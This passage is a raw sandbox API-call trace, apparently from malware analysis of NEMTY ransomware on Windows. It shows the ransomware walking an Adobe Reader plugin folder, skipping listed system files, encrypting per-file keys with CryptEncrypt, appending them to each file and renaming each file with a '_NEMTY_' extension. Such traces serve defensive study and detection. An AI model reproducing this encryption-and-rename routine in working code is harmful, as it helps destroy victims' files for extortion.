lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.928] CloseHandle (hObject=0x2f0) returned 1 [0191.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0191.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0191.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0191.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.929] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\Flash.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\flash.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\Flash.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\flash.hun._nemty_kgobjgd_")) returned 1 [0191.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0191.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0191.930] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Mcimpp.HUN", cAlternateFileName="")) returned 1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2=".") returned 1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2="..") returned 1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2="...") returned 1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2="windows") returned -1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2="$RECYCLE.BIN") returned 1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2="rsa") returned -1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2="NTDETECT.COM") returned -1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2="ntldr") returned -1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2="MSDOS.SYS") returned -1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2="IO.SYS") returned 1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2="boot.ini") returned 1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2="boot.ini") returned 1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2="ntuser.dat") returned -1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2="desktop.ini") returned 1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2="CONFIG.SYS") returned 1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2="RECYCLER") returned -1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2="BOOTSECT.BAK") returned 1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2="bootmgr") returned 1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2="programdata") returned -1 [0191.930] lstrcmpiW (lpString1="Mcimpp.HUN", lpString2="appdata") returned 1 [0191.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.HUN", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.HUN", lpUsedDefaultChar=0x0) returned 10 [0191.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.HUN", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.HUN", lpUsedDefaultChar=0x0) returned 10 [0191.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.HUN", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.HUN", lpUsedDefaultChar=0x0) returned 10 [0191.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.HUN", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.HUN", lpUsedDefaultChar=0x0) returned 10 [0191.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0191.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0191.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0191.931] Sleep (dwMilliseconds=0x5) [0191.940] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x260d5ab0, dwHighDateTime=0x1d561e8)) [0191.940] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x260d5ab0, dwHighDateTime=0x1d561e8)) [0191.940] GetLastError () returned 0x0 [0191.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.940] GetLastError () returned 0x0 [0191.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.940] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.940] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.941] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0191.941] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e29c | out: pszString="SmrfrASvRk98j5YE49AXMDR1sAUPQvBvp+Vpod+G9R2FAQ2juCaTf8OsHkA8Z4V1\r\nYP/41ci2xWThtMiV4YV4bDxNtmvJ8xxVwo52YEvl8R0oKkIrmp/3kDuodi3lOXCH\r\nWrnMS8Sg7lCwpGV2+uKU9t2BsAqhJXDYJ3zy4A8uHjata1bkgR4Ykn/ptSqY7OcB\r\n22Hd+DfozVBz0xYri9p2La5MicDgy8fXlmNC+43BxmJIzNr4AuetJRGeIlG7q1En\r\nTsIDUf9eMh3Hq86rvuByN5p321C2oIzC7s1l5VZ34pb/xppOh2mE2gPIIzoOdXD1\r\ncpZp69GqEi5X3fWAJKYYAw==\r\n", pcchString=0x653e29c) returned 1 [0191.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0191.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0191.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.941] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\Mcimpp.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\mcimpp.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.941] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=8192) returned 1 [0191.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0191.941] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.941] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x2000, lpOverlapped=0x0) returned 1 [0191.943] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.943] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x2000, lpOverlapped=0x0) returned 1 [0191.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0191.944] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0191.944] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.944] CloseHandle (hObject=0x2f0) returned 1 [0191.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0191.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0191.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0191.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.944] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\Mcimpp.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\mcimpp.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\Mcimpp.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\mcimpp.hun._nemty_kgobjgd_")) returned 1 [0191.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0191.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0191.945] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.HUN", cAlternateFileName="QUICKT~1.HUN")) returned 1 [0191.945] lstrcmpiW (lpString1="QuickTime.HUN", lpString2=".") returned 1 [0191.945] lstrcmpiW (lpString1="QuickTime.HUN", lpString2="..") returned 1 [0191.945] lstrcmpiW (lpString1="QuickTime.HUN", lpString2="...") returned 1 [0191.945] lstrcmpiW (lpString1="QuickTime.HUN", lpString2="windows") returned -1 [0191.945] lstrcmpiW (lpString1="QuickTime.HUN", lpString2="$RECYCLE.BIN") returned 1 [0191.945] lstrcmpiW (lpString1="QuickTime.HUN", lpString2="rsa") returned -1 [0191.945] lstrcmpiW (lpString1="QuickTime.HUN", lpString2="NTDETECT.COM") returned 1 [0191.945] lstrcmpiW (lpString1="QuickTime.HUN", lpString2="ntldr") returned 1 [0191.945] lstrcmpiW (lpString1="QuickTime.HUN", lpString2="MSDOS.SYS") returned 1 [0191.945] lstrcmpiW (lpString1="QuickTime.HUN", lpString2="IO.SYS") returned 1 [0191.945] lstrcmpiW (lpString1="QuickTime.HUN", lpString2="boot.ini") returned 1 [0191.945] lstrcmpiW (lpString1="QuickTime.HUN", lpString2="boot.ini") returned 1 [0191.945] lstrcmpiW (lpString1="QuickTime.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0191.946] lstrcmpiW (lpString1="QuickTime.HUN", lpString2="ntuser.dat") returned 1 [0191.946] lstrcmpiW (lpString1="QuickTime.HUN", lpString2="desktop.ini") returned 1 [0191.946] lstrcmpiW (lpString1="QuickTime.HUN", lpString2="CONFIG.SYS") returned 1 [0191.946] lstrcmpiW (lpString1="QuickTime.HUN", lpString2="RECYCLER") returned -1 [0191.946] lstrcmpiW (lpString1="QuickTime.HUN", lpString2="BOOTSECT.BAK") returned 1 [0191.946] lstrcmpiW (lpString1="QuickTime.HUN", lpString2="bootmgr") returned 1 [0191.946] lstrcmpiW (lpString1="QuickTime.HUN", lpString2="programdata") returned 1 [0191.946] lstrcmpiW (lpString1="QuickTime.HUN", lpString2="appdata") returned 1 [0191.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.HUN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.HUN", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.HUN", lpUsedDefaultChar=0x0) returned 13 [0191.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.HUN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.HUN", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.HUN", lpUsedDefaultChar=0x0) returned 13 [0191.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.HUN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.HUN", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.HUN", lpUsedDefaultChar=0x0) returned 13 [0191.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.HUN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.HUN", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.HUN", lpUsedDefaultChar=0x0) returned 13 [0191.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0191.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0191.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0191.946] Sleep (dwMilliseconds=0x5) [0191.956] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x260fbc10, dwHighDateTime=0x1d561e8)) [0191.956] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x260fbc10, dwHighDateTime=0x1d561e8)) [0191.956] GetLastError () returned 0x0 [0191.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.956] GetLastError () returned 0x0 [0191.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.956] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.956] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.956] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0191.956] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e29c | out: pszString="jx+xCx/35WgkIPePJoivOc6+rqPqnCvBPFT+KxpN89vkMaLWzx9bQsZW2FCVfxkL\r\nF04b6xw+mQazC6WqhL14q7kmIolpwF08t89fV9GlPkoNF6PTc9W07GCWUdMNepN/\r\nlO6lRO2ayHR/D3tuDK4R9hq7FMt1vBGWToPy89O8I2mVxAM7htgiD3MjehMagXHi\r\neE1pFO62hTLDoZxR5/YwScLP9wab1H1AgtwK6aGDxTWT9+5x5eVWYQX1uC4EvO/I\r\nPcBHkC7m9KGiXpTij2WZ9ZRBxg2wjgdq1Rs80USI7JWNgOZ/km8T/GN84YBsNsHW\r\nkGRJpa9xoMIbeHrgHb/6bw==\r\n", pcchString=0x653e29c) returned 1 [0191.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0191.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.957] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\QuickTime.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\quicktime.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.957] GetFileSizeEx (in: hFile=0x2f0, 